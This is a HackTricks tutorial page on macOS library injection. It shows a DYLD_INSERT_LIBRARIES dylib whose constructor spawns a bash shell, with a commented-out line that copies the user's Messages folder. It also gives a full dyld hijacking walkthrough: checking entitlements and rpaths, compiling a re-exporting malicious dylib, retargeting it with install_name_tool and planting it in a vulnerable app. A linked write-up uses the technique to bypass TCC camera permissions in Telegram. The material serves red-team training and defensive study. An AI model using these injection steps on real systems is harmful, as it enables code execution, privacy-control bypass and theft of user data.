> For the complete documentation index, see [llms.txt](https://angelica.gitbook.io/hacktricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://angelica.gitbook.io/hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md).

# macOS Dyld Hijacking & DYLD\_INSERT\_LIBRARIES

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/files/Xcgr3q6BP5MpWT3hTn6d" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/files/Xcgr3q6BP5MpWT3hTn6d" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/files/aQnEyHWQGyok3qCc92qt" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/files/aQnEyHWQGyok3qCc92qt" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## DYLD\_INSERT\_LIBRARIES Basic example

**Library to inject** to execute a shell:

```c
// gcc -dynamiclib -o inject.dylib inject.c

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
__attribute__((constructor))

void myconstructor(int argc, const char **argv)
{
    syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
    printf("[+] dylib injected in %s\n", argv[0]);
    execv("/bin/bash", 0);
    //system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```

Binary to attack:

```c
// gcc hello.c -o hello
#include <stdio.h>

int main()
{
    printf("Hello, World!\n");
    return 0;
}
```

Injection:

```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```

## Dyld Hijacking Example

The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.

{% tabs %}
{% tab title="entitlements" %}

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash">codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>[...]com.apple.security.cs.disable-library-validation[...]
</strong></code></pre>

{% endtab %}

{% tab title="LC\_RPATH" %}
{% code overflow="wrap" %}

```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/. (offset 12)
--
          cmd LC_RPATH
      cmdsize 32
         path @loader_path/../lib2 (offset 12)
```

{% endcode %}
{% endtab %}

{% tab title="@rpath" %}
{% code overflow="wrap" %}

```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
         name @rpath/lib.dylib (offset 24)
   time stamp 2 Thu Jan  1 01:00:02 1970
      current version 1.0.0
compatibility version 1.0.0
# Check the versions
```

{% endcode %}
{% endtab %}
{% endtabs %}

With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:

* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`

However, the first one doesn't exist:

```bash
pwd
/Applications/VulnDyld.app

find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```

So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:

{% code title="lib.m" %}

```objectivec
#import <Foundation/Foundation.h>

__attribute__((constructor))
void custom(int argc, const char **argv) {
    NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```

{% endcode %}

Compile it:

{% code overflow="wrap" %}

```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```

{% endcode %}

The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:

{% code overflow="wrap" %}

```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
         cmd LC_REEXPORT_DYLIB
         cmdsize 48
         name @rpath/libjli.dylib (offset 24)

#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib

# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
          cmd LC_REEXPORT_DYLIB
      cmdsize 128
         name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```

{% endcode %}

Finally just copy it to the **hijacked location**:

{% code overflow="wrap" %}

```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```

{% endcode %}

And **execute** the binary and check the **library was loaded**:

<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
</strong>Usage: [...]
</code></pre>

{% hint style="info" %}
A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in <https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/>
{% endhint %}

## Bigger Scale

If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).

```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/files/Xcgr3q6BP5MpWT3hTn6d" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/files/Xcgr3q6BP5MpWT3hTn6d" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/files/aQnEyHWQGyok3qCc92qt" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/files/aQnEyHWQGyok3qCc92qt" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}